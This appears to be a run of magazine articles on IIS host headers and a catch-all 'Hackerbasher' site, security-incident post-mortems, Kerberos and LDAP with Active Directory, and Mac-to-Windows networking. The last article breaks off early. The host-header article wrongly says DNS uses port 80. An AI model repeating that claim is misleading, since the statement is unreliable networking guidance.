On an average day, Hackerbasher is subjected to thousands of attacks from IP addresses all over the world. I had no idea just how many attacks were going on per day until I set up Hackerbasher and routed all of the IP attacks to it. Over the past 24 months, Hackerbasher has successfully captured several different types of attempted hacks in its log files, alerting me to new types of attacks as soon as they appear. These are attacks that could succeed against an unsecured public site, underscoring the importance of having your server patches in place when a new attack finds it.

How Host Headers Work
In IIS 3.0, a machine could be assigned multiple static IP addresses, and it could have a virtual Web server running on port 80 of each IP address, and that's all. Each Web site with a domain name had to have a dedicated IP address.
Domain Name Servers look up the IP address associated with a domain name. DNS assumes port 80 for all domain names, so a Web domain defined with a port other than 80 would not appear in any DNS entry. With HTTP 1.0, this meant that each IP address in the server was dedicated to a single domain.
Host headers were added in HTTP 1.1. IIS 4.0 and later support the HTTP 1.1 host header definition. Host headers mean there are three parts to a Web server's identifty in the Web server: the IP address, the port number, and the host header. Using host headers, you can specify the address the old way, using the IP address and port number, or you can assign a host header to an IP address that will use port 80. Several virtual servers (Web sites on the same machine) can share two of the three parts, but the third part must be unique to the particular virtual server.
Host headers allow me to put several hundred small domains on one IIS server using only a handful of IP addresses. Even customers who have their own dedicated IP addresses use multiple host headers.
Several different servers can run on the same machine with the same IP address. For example, the HTTP and FTP servers often share an IP address for a specific domain, but they must each have a dedicated port on the IP address that they can communicate through. Since FTP servers listen on port 21 by default, the IP address would then be 123.123.234.234:80 for the HTTP server and 123.123.234.234:21 for the FTP server. These servers can listen on any port defined for them, but most domains rely on DNS for domain name resolution and since DNS uses port 80, they will also.
Having multiple Web sites defined on a single IP address, with each one listening on a different port, is called IP overloading. This is useful when you own only one IP address. It is also used to obfuscate the location of some sites (like the server administrative site), and allows the server to programmatically redirect traffic to a Web-based application on the server. A user accessing a site defined in this way must specify the full IP address followed by a colon and the port number.
The host header is the domain name that is requested by the user in the location field of their browser. Starting in HTTP 1.1, the browser puts the domain name portion of the URL into the Host Header Definition part of the HTTP request header. Using host headers, I can define multiple domain names for the same site (see Figure 3).

Behind the Scenes
By default, an HTTP server will listen on all unassigned IP addresses on the server using port 80. If you don't define any specific IP address, your server will be available on all the IP addresses on the server; this is a very poor security practice but it is commonly used for SMTP and FTP servers. The server that has an IP address assigned with port 80 and no host header is the primary, or root, server for that address on that port. When a request is received from a browser, the server tries to route the request to its intended site (virtual server) using the IP address, the port, and the host header name. If the host referenced in the host header is unavailable or doesn't exist, or if the page requested does not exist, the request is routed to the primary Web server of that IP:80 address. Hackerbasher is my primary Web server for all of the IP addresses on port 80. Figure 5 shows the host header mappings for Hackerbasher. Just as there are no site identities without a host header on the Web site, Hackerbasher is the only Web site with no host headers defined. Hackerbasher receives all the requests for missing pages and defunct or nonfunctioning domains. This is often my first notification that a customer's Web site is unresponsive, and it is also handy to be able to let my customers know when they have missing pages.
Figure 5 Host Header Mappings for Hackerbasher
Figure 5 Host Header Mappings for Hackerbasher
If the request comes from an HTTP 1.0 browser, hacker tool, or port scanner, and it does not contain a host header, the primary server (Hackerbasher) responds with an authentication challenge. Someone who expected to see testerparadise.com on the banner of the page might get a response from Hackerbasher instead.
Resources
Honey Pots and Other System Security Strategies
The Honeynet Project
Honeypots Solutions
snort_inline
Microsoft Security Support

General Security Tips
Network Abuse Clearinghouse
Building and Configuring More Secure Web Sites
How IIS Authenticates Browser Clients

Using Host Headers to Set Up a Multihomed Server
www.winnetmag.com/Article/ArticleID/7176

How to Build a Web Development Environment
www.winnetmag.com/Article/ArticleID/7403

Interpreting Your Log Files
Troubleshoot Kerberos-Related Issues in IIS (Including error codes)

Useful Tools
Microsoft Baseline Security Analyzer
IIS Lockdown Tool with URLscan
Ecyware GreenBlue Inspector
Web Server Anonymization and Obfuscation and Other Useful Tools

A legitimate request from an HTTP 1.0 client will be routed to Hackerbasher because the browser request will contain only the IP address, not the host header name. Even back in 2003, though, my site logs showed that less than one percent of legitimate client traffic was using HTTP 1.0. So far, I haven't had a single user complain that they couldn't get to a Web site, and my customers are pleased to have the hacker attacks diverted away from their sites.
With Hackerbasher, a hacker will have to attack a production Web site through its domain name. Unfortunately, a small proportion of hacks I've seen do attack sites via their domain names. One example of this is the mysterious Microsoft-WebDAV-MiniRedir/5.1.2600 client which appears as the cs(User-Agent) in both automated attacks and in suspicious requests in production server logs that appear to be driven manually. The original signature is associated with an unchecked buffer issue (see Microsoft Knowledge Base article 815021). This client sends requests to the server using WebDAV methods.

Marnie Hutcheson is president of Ideva, a firm that specializes in Web application design, development, and hosting. She has published a variety of technical papers and books on various computing topics. You can reach her at marnie@ideva.com.


 The Day After: The Day After: Your First Response To A Security Breach
Hacking: Fight Back Kelly J. Cooper

The Day After: Your First Response To A Security Breach
At a Glance:
  • Defining a post-mortem
  • Types of incidents to submit to a post-mortem review
  • Organizing the post-mortem
  • Managing and facilitating the meeting
  • Topics to cover
  • Results and follow-ups
  • Integration of newfound knowledge into your company
Incident Response
Security
Server Logs

The security incident is over. The techs have all gone home and are snug in their beds, dreaming of flawless code trees and buffer-overflow repellent. Upper management has done all the damage control they can. Everyone's shifting back into their
normal activities and schedules. Everyone, that is, except you. What can you do to prevent this from ever happening again?
The best way to understand how a security incident happened is to conduct a post mortem. Incidents can range from an internal configuration error that resulted in system downtime, all the way up through an attack on your company, or even a natural disaster that impacted your company's physical location. Any event that didn't go as well as you hoped, or any set of processes that need to be checked, is a perfect candidate for a post mortem.
A post mortem is a review of what happened; a good post mortem delves into the who, what, how, when, and why of the incident. Even if the incident was clearly documented at the time, you're still going to need to review how things could have gone better in order to improve your processes, tools, and training for the future. These improvements may not prevent all future attacks, but they will allow you to prepare your business for the next incident.

Scheduling
You need to schedule your post mortem as soon as possible after the incident. Give everyone the opportunity to recover first (especially if people need to catch up on sleep), but don't wait too long. Get everyone who was actively involved in the incident, or at least a representative from each person's group, into a room. You may not be able to schedule time with any upper-level executives who participated, but you can touch base with them later. In fact, their presence can hinder an open dialogue, so carbon-copy them on the invite, but don't require their presence.

Materials
Have all participants bring whatever notes they may have made. If you have a trouble ticket or a timeline or any kind of documentation of the incident, print it out and provide copies to everyone. Be sure to mark the printouts as confidential. At the beginning of the meeting, tell people either to hand them back at the conclusion of the meeting or keep the materials in a locked drawer. Many people would rather hand the papers back.
Make the confidentiality issue clear at the beginning of the meeting so that any notes the participants might take for themselves aren't written on the printout that they then decide they want to hand back. After the meeting, shred any returned documentation. You don't want dumpster divers getting their hands on the details of your security problems. If you don't have a shredder, buy one. You'll be surprised by how many people will use shredders once they're available to them.

Agenda
Post mortems can be extremely emotional. There's a tendency to fling blame around the table and around the company. Your job is to minimize the emotional outbursts by steering the meeting so that everyone can draw as much useful information as possible. You may need to discuss an amnesty agreement with the group, where you trade a promise of no firings in exchange for honesty. This may sound impractical in some work environments, but it should be seriously considered. You should also think about implementing a policy like this on various whistleblower policies and legislation.
The first thing to consider when designing your agenda is the structure. The easiest and the simplest to follow is chronological: what happened first, next, and last? Who did what and when? How long between the first and second event?
A structured agenda is useful for bringing people back on topic when they start to go off on tangents. Of course, remember that nothing ever goes according to plan. Leave room for complex discussions and be willing to follow up with specific individuals outside of the meeting in order to put a tangent aside, at least temporarily.
As the meeting coordinator, you also have your own agenda. Aside from whatever political pressure you may be under, you also have a responsibility to compile data that will allow your company to be better prepared for the next incident. You may have to create an incident response process from scratch, including training and documentation. Look at what worked and what didn't throughout the post mortem as the basis for your process. If an incident handling process already exists, look for areas where education or improvements are needed.

Starting Your Analysis
First, you have to get the meeting started. The sidebar "Five Starter Questions" can help kick off the discussion.
Five Starter Questions
  • Does anyone have a timeline representing the incident?
  • When was the incident first reported? That is, when was a problem reported, not necessarily as a security issue?
  • What was the mechanism of discovery? Was it a user complaint, system malfunction, or monitoring notice?
  • When was the situation recognized as a security incident?
  • How was it determined to be a security incident?

If there is no timeline, you'll probably have to piece this material together from time stamps on trouble ticket entries and e-mail messages. If none of this material is available in the meeting, discuss the generalities and try to establish specifics after the meeting is over. Make a note for the future that creating a timeline and fully documenting the incident should be part of the incident response process.
Once you've determined when and how the issue was recognized as a security incident, you may be able to parlay that information into some sort of early warning system and teach the rest of the staff to recognize the symptoms.
For instance, in the early days of Denial of Service (DoS) attacks, the monitoring centers of ISPs noticed an upswing in outages due to sudden bandwidth saturation. Most were due to one or two types of DoS attacks. Once this was recognized, all operators were trained to look for a DoS attack in the course of their normal investigation of an outage or reported problem.
As different attacks evolved, the symptoms of each were broken down and provided to the operators. This became an early warning system that often allowed ISPs to notice that customers were under attack before the customers themselves were aware of the escalating problem.

Discussing the Incident
Once you have good idea of what happened and how it was recognized, assess the quality of the response by asking some of the questions in the "Post-Mortem Discussion Points" sidebar.
Listen closely to people's complaints. Gripe sessions are the best source for understanding company friction, whether it's interpersonal issues, tool malfunctions, or arcane and frustrating processes. If people don't like a process or tool, they won't use it. They'll even circumvent it without considering the possible consequences.
Once the security incident was recognized, how much time elapsed before it was resolved? This is a simple question, but it may have a very complex answer. Depending on the type of incident (virus infestation, e-mailed Trojan, DoS attack, insider exploitation) and how widely its impact was felt across the company, clean up could take hours or days. In fact, clean up may still be happening while you're having your meeting. You need to decide what marks the end of your incident. Otherwise, events that are holding you up, like waiting for a patch from a vendor, will continue to show up in the documentation of the incident. To avoid this, make sure you close this high-priority ticket and open a separate ticket at a lower priority to track any long-term events.

Response
For a software exploit, you should examine your company's patch process and possibly your firewall configuration. For a viral or Trojan-based infection, you should scrutinize your antivirus software as well as its update schedule on individual computers. You may also want to assess whether viruses and Trojans are filtered at the mail server and if so, how it's done.
Post-Mortem Discussion Points
  • Could the problem have been identified faster?
  • Could you have realized it was a security incident sooner?
  • Could you have stopped the problem earlier?
  • What would have helped speed up any of these processes?
  • Are you lacking a run book? A process? A tool? The right skill set? The right people on-call?
  • Do you have sufficient resources to handle these attacks? Do you have enough people to look at the system logs, the firewall logs, and Intrusion Detection System (IDS) reports?
  • Are you using software to analyze these logs and pull out relevant data to minimize the mind-crushing boredom of going through each by hand?

Each kind of incident may have a best response, but what is best can vary based on the company's network architecture and information technology design. Consider what might be needed to improve the prevention, detection, and response processes. The first answers that come to mind to solve these problems are more personnel, more education, and better tools.
Did any one person coordinate your company's response to this incident? If you don't have an incident coordinator, consider training several employees to handle this job. Designating a single point of contact for updates is very helpful. For instance, the coordinator can collect data from the various people working on the problem and report it to upper management. This means staff members only have to report to one person, instead of dozens calling them to ask for a status. One person can maintain a timeline and update the trouble ticket, keeping a consistent voice in customer and/or company communication. If you do have an incident coordinator, work with this person to train others. One person cannot be on call constantly to handle any incident that might occur.

Were You Targeted?
Was your company targeted specifically or was this a random attack? The answer could be crucial for future prevention, but difficult to determine. If the attack was targeted, it could be because of your company's politics or affiliations. In the current climate, companies supporting Genetically Modified Organisms (GMO) or the World Trade Organization (WTO) are common targets. Anyone seen as supporting spam may also become targets. High-profile partnerships with controversial organizations can often bring negative attention. For instance, the Electronic Disturbance Theater, which created the Floodnet program, was active through 2003 publicizing various causes by using Floodnet to overwhelm high-profile Web sites. Mexican government Web sites were targeted in support of labor and indigenous rights in Mexico, and biotech-related Web sites were attacked to protest GMO foods. But many attacks are never publicized.
Your company may also have been targeted due to a particular individual—many DoS attacks occur when one person gets angry while chatting with another over Internet Relay Chat. He may sign up the target of his ire for a barrage of e-mail lists, give his e-mail address to spammers, or launch a DoS attack against his IP address, which also happens to be one of your company's IP addresses. Some employees run whole IRC servers on their company's networks, which will incur many attacks. Most ISPs and many companies can tell war stories about any of these types of attack, although very few accounts are actually published. Data privately gathered from chat channels shows that these trends persist despite changes in technology and politics.
Look at the target of the attack and study the possible reasons that it was chosen. Was it your Web page? If so, it's likely the attack was directed at your company specifically. Run some searches and look for calls to action against your company. Consider any public announcements your company has made recently.
Was the target your e-mail server? If so, is it possible that your marketing department sent out a large number of unsolicited e-mails, particularly ones that might be considered spam? Often if a company doesn't provide double opt-in (usually using a confirmation e-mail to make sure that the owner of the e-mail address really wants to be on your mailing list), it can find itself the target of much anger. If you haven't sent out e-mail for a long time, people may have forgotten that they provided their e-mail addresses to your company. Or perhaps your mail server was exploited to relay spam, framing your company for the deed. Spam, actual or perceived, makes people cranky.
Was the target an individual user's IP address? Talk to that user about what he or she was doing at the time the attack commenced. If necessary, mirror the hard drive of the machine and perform a forensic analysis if it wasn't already done during the incident handling process.
Hopefully, if a particular machine encouraged the attack, was targeted by the attack, or started the viral or worm infection, then that machine has already been taken offline and had its hard drive mirrored and examined. If this happens so often that you don't have time to look at all of these problem machines, then you've got a larger issue on your hands.
If the target was a particular machine, look closely at the logs, checking to see whether there were any messages left in them. Sometimes attackers design their attacks so that their angry comments appear in the log files.
Was it a random e-mail that started an infection in your company? Chances are that this is a nonspecific attack, although if it's the type of Trojan that grabs files off user's computers and e-mails them to a specific address, it is possible that a competitor hoped to get sensitive documents from your company. Do you have a copy of the Trojan or virus? If so, either have someone on staff look at the code of the malware or run some searches online and read through any documentation of the malware's innards compiled by a reputable security team. When a piece of malware spreads across the Internet and achieves a certain amount of notoriety, it's commonplace that a number of individuals and teams will go over the code line by line and annotate it or write a general report about what nefarious goals the malware is trying to accomplish.

More Discussion Topics
What was the impact of this incident on the company? If there was no actual damage but the company either disconnected itself from the Internet or was forcibly denied service to the Internet, the only real damage might be to the company's reputation. But a loss of trust on the part of customers or investors can very easily translate to loss of business.
In some intrusions files weren't deleted, but the attacker might have made copies. When files are deleted, you may be able to recover them either from the hard drive or backup media. When files have been copied, there's the possibility that intellectual property has been stolen, which is difficult to detect.
It's always important that your employees have a thorough understanding of why security should be crucial to each of them and what the impact to the whole company could be when they choose to ignore or circumvent security.

Closing the Meeting
The meeting may not come to any sort of natural close, especially if discussions become heated, so make a list of action items. Assign items to the people from whom you need information (such as e-mail timestamps and log files). Follow up with individuals and continue the summary and discussion via e-mail or other group-viewable software. Be willing to provide summarized updates on a regular basis, especially for upper management, but don't overwhelm your constituency with superfluous e-mail.
In closing the meeting, schedule any necessary companywide changes, like a general changing of passwords, which is especially important if the attacker managed to get onto your networks and watch your traffic go by. Even if some of your questions remain unanswered, end the meeting promptly. You and your team will have more than enough work going through the data you've gathered in the meeting and working on creating or improving incident response processes.

Follow Up
If there are questions or issues whose resolution need active participation from multiple groups, you will have to call another meeting. But if you just need confirmations or input from various groups, try to limit follow-up to e-mail or personal calls to each group. Your main concern should be to address gaps in the various processes, to outline problems (like a lack of tools or a communication failure), and to document any other issues that slow or impede incident response. When reporting your findings, focus on identifying areas for improvement, not on placing blame.
Follow up by educating employees, especially the incident coordinators. Having a group of people who know all the processes and who can guide the various parts of the company to cooperate in response to an issue is important. Work with incident coordinators to fix processes or create new ones. They may also be able to help educate the rest of the company on these processes. You definitely want everyone in the organization to understand at least where to report a suspected problem or concern.

The Big Picture
At the heart of all these issues is one important question: do you have an incident response process that works? The answer is probably yes, although you might not believe it at first. An incident response process can be anything from the phone number of your ISP written on a whiteboard (because you can't access their Web page if your connection is down) to a complex set of steps to follow in an emergency.
Instead of fighting to overlay a whole new process onto a set of people who are probably already working too hard, integrate incident recognition and response handling into the daily work procedure. Going back to the example of ISPs finding DoS attacks, notice that their responses to such events were worked into the normal processes of the operators.
If you've never had a security incident, but you want to apply the lessons of this article, consider having a drill. Invent a fictional security event. Keep it as simple as possible and see how the processes work. You can even conduct a post mortem on the drill. It may be difficult to get people to take you seriously, but it helps if you have the support of management.

Conclusion
Turn your security incident from a possible disaster into a galvanizing event. Let it energize your company and encourage it to improve its incident response processes. It can show your company where the flaws are, not so blame can be apportioned, but instead to allow problems to be fixed. And when you're finished, you'll be prepared for next time. And there will be a next time.

Kelly J. Cooper is a CISSP with nine years experience in the Internet Service Provider business, specializing in operations security and incident response. She is a founding member of The CooperCain Group, Inc..


 Mixing It Up: Mixing It Up: Windows, UNIX, And Active Directory
Cross-Platform Security Peter Larsen and Jason Zions

Mixing It Up: Windows, UNIX, And Active Directory
At a Glance:
  • Overview of Kerberos 4 and 5
  • Transitioning from X.500 to LDAP
  • The LDAP model
  • Vintela Authentication Services for UNIX and Linux
UNIX
Windows
Active Directory
LDAP
Kerberos

As the world becomes more and more connected, a problem has emerged. How do organizations and partners store sensitive data in heterogeneous environments, and how do they verify the identity of users requesting the information on any platform?
Both end users and organizations look for three elements in their security solutions: confidentiality, integrity, and availability. When a user is authenticated, the process can employ any number of methods from passwords (informational) to smartcards (object-based) to biometrics, or ideally, some combination of these techniques. When you are supporting a site that employs a mixture of Windows®, UNIX, and Linux servers, you can support all of these elements and methods by choosing Kerberos and LDAP as your protocols of choice.

Directory Services and Identity Management
Active Directory® in Windows Server™ 2003 provides a foundation for identity management, which covers information relating to individuals. Identity management includes the management of computer user accounts, the contact details of those user accounts, door entry system user accounts, application user accounts, e-mail system user addresses and accounts, and more.
Identity management solves the problems of maintaining this information. Information on individuals is stored in one place and administered in a consistent manner. The LDAP standard discussed later defines a directory service that can be used as the basis for identity management solutions.

Overview of Kerberos 4
The Kerberos protocol is a standard designed to provide strong authentication within a client/server network environment. Kerberos network messages are encrypted and decrypted using algorithms that translate the Kerberos data into a form that is very difficult to decode into its original form. A secret encryption key is used to encrypt and decrypt the data. Kerberos also uses mathematical techniques called hashes to ensure the integrity of any data that is not encrypted.
Kerberos 4 contains a number of terms and ideas that are important to know.
Principals All entities within Kerberos, including users, computers, and services, are known as principals. Principal names are unique; a hierarchical naming structure ensures their uniqueness.
Realms The principal is a member of a realm. By convention, a realm name is the DNS name converted to uppercase, so that the example.com domain becomes the EXAMPLE.COM realm. Although uppercase realms are not obligatory, using a different case simplifies differentiating between domain names and realms.
Ticket A ticket is the fundamental unit of Kerberos authentication. It is a carefully constructed message containing the authentication information which is passed between computers.
Key Distribution Center The Key Distribution Center (KDC) is made up of three components: a database of principals containing users, computers, and services; an authentication server that issues Ticket Granting Tickets (TGT); and a Ticket Granting Service (TGS) that issues service tickets granting clients access to specific services.
Each realm requires at least one KDC to operate. Kerberos authentication relies on the use of tickets passed between the client, the KDC, and the required server to confirm authentication and authorization.
Figure 1 shows the exchanges that take place during authentication using the Kerberos protocol.
Figure 1 Authentication with Kerberos
Figure 1 Authentication with Kerberos
Initially, a client contacts the authentication server component of the KDC, sending a request that contains the principal name, a timestamp, the lifetime of the ticket requested by the client, and the name of the TGS.
References
The full detailed guide "Microsoft Solution Guide for Windows Security and Directory Services for Unix" can be found on the TechNet Web site.
More information regarding object identifier trees (OIDs) can be found on the Internet Assigned Numbers Authority's Web site.
Look for the enterprise numbers entry under "E."
The following Requests for Comments (RFCs) describe the Lightweight Directory Access Protocol (LDAP), the representation of standard attributes within LDAP, and the relationship between LDAP and X.500, an international standard for providing online directory services:
  • RFC 1777, "Lightweight Directory Access Protocol"
  • RFC 1778, "The String Representation of Standard Attribute Syntaxes"
  • RFC 1779, "A String Representation of Distinguished Names"
  • RFC 2247, "Using Domains in LDAP/X.500 Distinguished Names"
  • RFC 2251, "Lightweight Directory Access Protocol (v3)"
  • RFC 2252, "Attribute Syntax Definitions"
  • RFC 2253, "UTF-8 String Representation of Distinguished Names"
  • RFC 2254, "A String Representation of LDAP Search Filters"
  • RFC 2255, "The LDAP URL Format"
  • RFC 2256, "A Summary of the X.500(96) User Schema for use with LDAPv3"
These RFCs describe the Kerberos protocol and the methods of using Kerberos through the Generic Security Service Application Programming Interface (GSS-API):
  • RFC 1510, "The Kerberos Network Authentication Service (Version 5)"
  • RFC 1964, "The Kerberos Version 5 GSS-API Mechanism"
All of these RFCs can be found at www.ietf.org/rfc.html.

In response, the authentication server generates a session key, and makes two copies of it: one for the client, the other for the TGS. The authentication server sends a TGT back to the client; this TGT contains a copy of the session key, the identity of the client, a timestamp, details of the IP address of the client, and of the ticket lifetime.
When returning the TGT to the client, the authentication server also returns a copy of the session key, the principal name of the TGS, and the lifetime of the ticket. This whole response to the client is encrypted using the client key.
The client receives the information in this encrypted reply, and is able to decrypt it because it was encrypted with the client's key. This gives the client its session key, as well as a TGT that is still encrypted by the key of the TGS.
The client now forwards the TGT to the ticket-granting server, along with a request for the service to be accessed and a timestamp encrypted with the session key obtained from the authentication server. This timestamp serves to prevent replay attacks, which occur when a request for a service from the client is captured by a hacker and resent at a later date. The TGS processes this request and responds with a new set of session keys, the principal name of the service requested, the lifetime of the ticket, and a service ticket encrypted with the service key.
The service ticket is similar to the TGT and contains a new session key, the principle name of the client, the ticket lifetime, a timestamp, and the client's IP address. All of this is then encrypted with the key of the client and sent.
The final stage of the authentication procedure differs depending on the service and server being requested. This is because each application defines its own methods for the exchange of the service ticket.
An example of a service is the Network File System (NFS). NFS allows for a host to access ("mount") directories that are held on a remote server. This access can be controlled by Kerberos.
Kerberos 5 is an extension of Kerberos 4. It contains all of the functionality of the earlier version, plus many enhancements. These include support for credential forwarding, multiple encryption types, renewable tickets, and preauthentication. Kerberos 5 is the default method of network authentication for services and applications in Windows Server 2003.
A large number of distributions of the Kerberos protocol are available, both commercial and open source. Most major UNIX distributions contain an implementation of Kerberos as part of a standard installation. There are two open source Kerberos 5 distributions, MIT and Heimdal; information about the Heimdal version is available at Heimdal.
MIT Kerberos is simple to compile across all platforms and works well with all other implementations. While precompiled versions are available for download from other sources, it is recommended that you download and verify the integrity of the source yourself to ensure the best security. MIT Kerberos is available for download from Kerberos: The Network Authentication Protocol.
Some countries have restrictions on the use of cryptography, so confirm that Kerberos is acceptable under your country's laws before implementing a Kerberos solution.

Transition from X.500 to LDAP
The LDAP standard is used for authentication and directory services, and has also evolved into a simple method of accessing X.500. The X.500 standard is designed to have one worldwide distributed directory with a standard access interface. It is extremely complex, as are the Open System Interconnection (OSI) network protocols over which it was designed to operate. In fact, OSI network protocols are far more complex than the more commonly used TCP/IP suite.
LDAPv3 is widely implemented as a part of operating systems, network operating systems, directory services, applications such as e-mail servers, and client applications. LDAPv3 is a core component of Windows Server 2003 Active Directory. The implementation of LDAPv3 found in Active Directory is fully integrated with a standards-compliant security system based on Kerberos and Microsoft® Windows.

Overview of the LDAP Directory Service
As a standard for a directory access protocol, LDAP defines the operations used to communicate with a directory service, how to refer to an entity in the directory, how to describe the attributes of an entity and, finally, the security features that can be used to authenticate to the directory and control access to the entities within the directory. LDAP is characterized by the following:
  • The protocol is carried directly over TCP for connection-oriented transport (receipt of data is acknowledged) and User Datagram Protocol (UDP) for connectionless transport (no acknowledgment upon sending or receiving data).
  • Most protocol data elements, such as distinguished names, can be encoded as ordinary strings.
  • Referrals to other servers can be returned to the client.
  • Simple Authentication and Security Layer (SASL) mechanisms can be used with LDAP in order to provide associated security services.
  • Attribute values and distinguished names can be internationalized through the use of the International Organization for Standardization (ISO) 10646 character set.
  • The protocol can be extended to support new operations, and controls can be used to extend existing operations.
  • The schema is then published through an attribute on the root object for use by the clients.
The component models defined in LDAP are the same as those defined in X.500, and are explained in the following sections.

The Information Model
The attributes and characteristics associated with an entry are defined in the entry's object classes. The definition of object classes and attributes, in turn, is held in the schema. The following are the three types of object class definitions that are used in LDAP directory servers:
Structural object class A structural object class represents a real-world object, such as a person. An entity must belong to one and only one structural object class.
Auxiliary object class An auxiliary object class is used to extend a structural object class. It has no meaning on its own.
Abstract object class The abstract object class is used only when it is an ancestor of a derived class.

The Naming Model
The naming model defines how each entry can be referenced. In an LDAP directory, entries are organized in a hierarchical tree called a Directory Information Tree (DIT). Each node in the tree is an entry that can store information, and also serve as a container for other entries. An entry in the tree can be referenced by using either its relative distinguished name (RDN) or its distinguished name (DN). An RDN is unique only within a particular directory; a DN is globally unique.
An RDN for an attribute might be the common name (cn) of an object, as you can see in this attribute:
cn="Michael Allen"
An RDN could also be made up of more than one attribute value when uniqueness cannot be ensured by simply using a single attribute. For example:
cn="Michael Allen"+ou="Engineering"
The plus (+) symbol in this example makes it clear that the RDN is multi-valued. The practicality of multi-valued RDNs is clear when your organization has two employees named Michael Allen. If they are in two different departments, they can have RDNs which are uniquely qualified by department, as defined in the example by the organization unit (ou) attribute. The DN for Michael Allen's entry might be:
cn="Michael Allen",dc="example",dc="com"
In this case, the object is uniquely defined in the local directory as well as globally. The domain component (dc) attribute values are used to uniquely define the DNS domain name of the directory server.
In LDAP, the naming context for a directory can be defined in either a geographical or a domain name format. The geographical format was the primary method of locating a directory in X.500, and is still used with LDAP servers. However, it is common to use the domain name of an LDAP server as its naming context because domain names are globally unique on the Internet.
Figure 2 Naming
Figure 2 Naming
In Figure 2, the naming context of the directory server is the domain name example.com, or the DN dc=example, dc=com. The DN uses ou="Users" instead of cn="Users". In this case cn and ou are interchangeable because the common name of an organizational unit is identical to the name of the organizational unit.

The Functional Model
The functional model is the method by which a directory client can communicate with the directory; this role is filled by the LDAP protocol itself. LDAP provides the following operations:
  • Interrogation: searching the directory
  • Modification: updating, adding, or deleting entries in the directory
  • Authentication and control: authenticating to the directory (also known as the bind operation)

The Security Model
The security model provides methods for authenticating against the directory and for authorizing client access control to the directory. There are two components to the security model: authentication using LDAP binds and the control of any access to objects in the directory.
We'll cover the details of authentication to LDAP a little later in the article, but once the client is authenticated, it can use the LDAP directory only as defined by the directory's Access Control Lists (ACLs). The use of ACLs in an LDAP directory is implementation-dependent.

The LDAP Interchange Format
LDAP directories can exchange data and schema definitions using a standard notation called the LDAP Interchange Format (LDIF). LDIF has a simple text file format that consists of the following:
  • Entries separated by blank lines representing a single entity
  • Comments beginning with the pound character (#)
  • Assignments of values to attributes
  • Directives that instruct the LDIF parser on how to interpret the entries
An LDIF file showing the definition of a person entity is shown in the following example. This LDIF file could be used to create the entity in an LDAP directory:
# This is a comment
dn: cn=Michael Allen,cn=Users,dc=example,dc=com
objectClass: person
cn: Michael Allen
sn: Reid
telephoneNumber: 555-0100
The last line is a blank line. This file defines an entity with the DN:
cn=Michael Allen,cn=Users,dc=example,dc=com
The entry is a member of object class person, which contains attributes such as the common name (cn) of a person, a person's surname (sn), and a person's telephone number (telephoneNumber).

Using LDAP for Network Authentication
LDAP authentication involves an entity binding to the LDAP server. The success of the bind operation is determined by the acceptance or rejection of the entity's credentials. If the bind is successful, the entity is authenticated; if it is unsuccessful, the entity is not authenticated.
In order for LDAP to be used for UNIX and Linux login or service authentication, it needs to be coupled with the LDAP Pluggable Authentication Module (PAM).
Unlike Kerberos, which is designed as an authentication mechanism, LDAP authentication is designed specifically for securing directory transactions. Using LDAP authentication for purposes other than LDAP directory access can lead to performance problems. This is because LDAP directory services are not designed to handle large numbers of authentication requests, but are instead tuned to perform well when handling directory transactions.

Microsoft Active Directory
Active Directory is an essential and inseparable part of the network architecture that improves on the domain architecture of the Windows NT® 4.0 operating system to provide a directory service designed for distributed networking environments. Introduced in Windows 2000, Active Directory is an integral part of Windows Server 2003.
Active Directory is built around the Kerberos 5 and LDAPv3 protocols and, as such, is compatible with Kerberos 5 clients and LDAPv3 clients across all platforms. This allows Windows Active Directory servers to provide security and directory services in a heterogeneous network.
Figure 3 Active Directory
Figure 3 Active Directory
Combined, these technologies enable organizations to apply standardized business rules to distributed applications and network resources without requiring administrators to maintain a variety of specialized directories. An overview of Active Directory is shown in Figure 3.

Vintela Authentication Services
As with Active Directory, UNIX and Linux systems typically include their own implementations of both Kerberos and LDAP. Although these implementations can interoperate with Active Directory, they are typically done without considering the way that Microsoft has integrated the two standards in Active Directory.
Vintela Authentication Services (VAS) implements Kerberos and LDAP functionality on UNIX and Linux systems, and can fully integrate with Active Directory. The benefits of using VAS include the following:
  • You have the ability to manage UNIX and Linux users and computers are managed through the Active Directory Users and Computers Microsoft Management Console (MMC) snap-in.
  • Kerberos is the protocol used to secure LDAP traffic.
  • Performance is tuned to work effectively with Active Directory.
The VAS product allows UNIX and Linux clients to operate within an Active Directory domain in a manner equivalent to Windows clients.

Summary
In this article, we've discussed the basic technologies necessary to achieve single sign-on between networked computers with a variety of operating systems. The detailed instructions on how to configure single sign-on between, say, Linux and Windows is detailed in the online guide listed in the references. The guide describes two methods of achieving single sign-on, one using open source code and the other using the commercially available Vintela product. With these new technologies in hand, you'll finally be able to deliver on the promise of information access any time, on any device and on any platform.

Peter Larsen is a software development engineer at Microsoft. Before joining Microsoft, Peter was involved in architecture and development of telecom operational software systems and standardization and development of wireless services.
Jason Zions is an architect at Microsoft. Previously he was the chief scientist for Softway Systems, where he led the development of Interix, which later became a part of Microsoft Services For UNIX. Jason has also been heavily involved in POSIX standardization.
This article is adapted from Microsoft Solution Guide for Windows Security and Directory Services for UNIX, available on the TechNet Web site.


 Yes, You Can!: Yes, You Can! Secure Your Mac On A Windows Network
Cross-Platform Security Jay Shaw

Yes, You Can! Secure Your Mac On A Windows Network
At a Glance:
  • Connecting a Mac to your Windows-based network
  • Configuration of different Mac OS versions
  • Security considerations and network services
Mac OS
Windows
Services for Macintosh
Active Directory

If you work in network support for Windows, sooner or later it's bound to happen. You'll be sitting quietly at your desk, and someone will walk up with a long list of questions about their Apple Macintosh computer. How do we connect it to the existing
network? How will users access file shares, print, browse the Internet, and use e-mail? What do you do? You don't know anything about a Mac beyond plugging it into the wall. In a perfect world, you could plug in any device and go to work. Unfortunately, it's a little more involved than that. It isn't as hard as it sounds, though, nor is it as difficult as it used to be. Just remember that there is more than one way to peel an Apple!
First, you need to determine which Mac OS you're working with. If you need to support only the Classic Mac OS (OS 9.x or older), your choices are simple, but limited. Obtaining support for the platform will become increasingly more difficult as time progresses. Supporting Mac OS X is more complicated, but you also have many more options at your disposal. You might need to support both versions of the OS. You can provide file and printer sharing on either platform. More advanced functionality like integration with Active Directory® is only available in an OS X environment, and requires a little more planning.

Services for Macintosh
If you only need to support the Classic Mac OS or need both Classic and OS X, the best approach is to install Services for Macintosh (SFM) on your server running Windows®. Once it is loaded, the server can designate directories as Mac-accessible volumes. These volumes can be seen from machines running either the Classic Mac OS or OS X, and can even be shared with Windows-based clients at the same time. The server running Windows stores the Mac files on NTFS volumes and ensures that NTFS file names are properly supported.
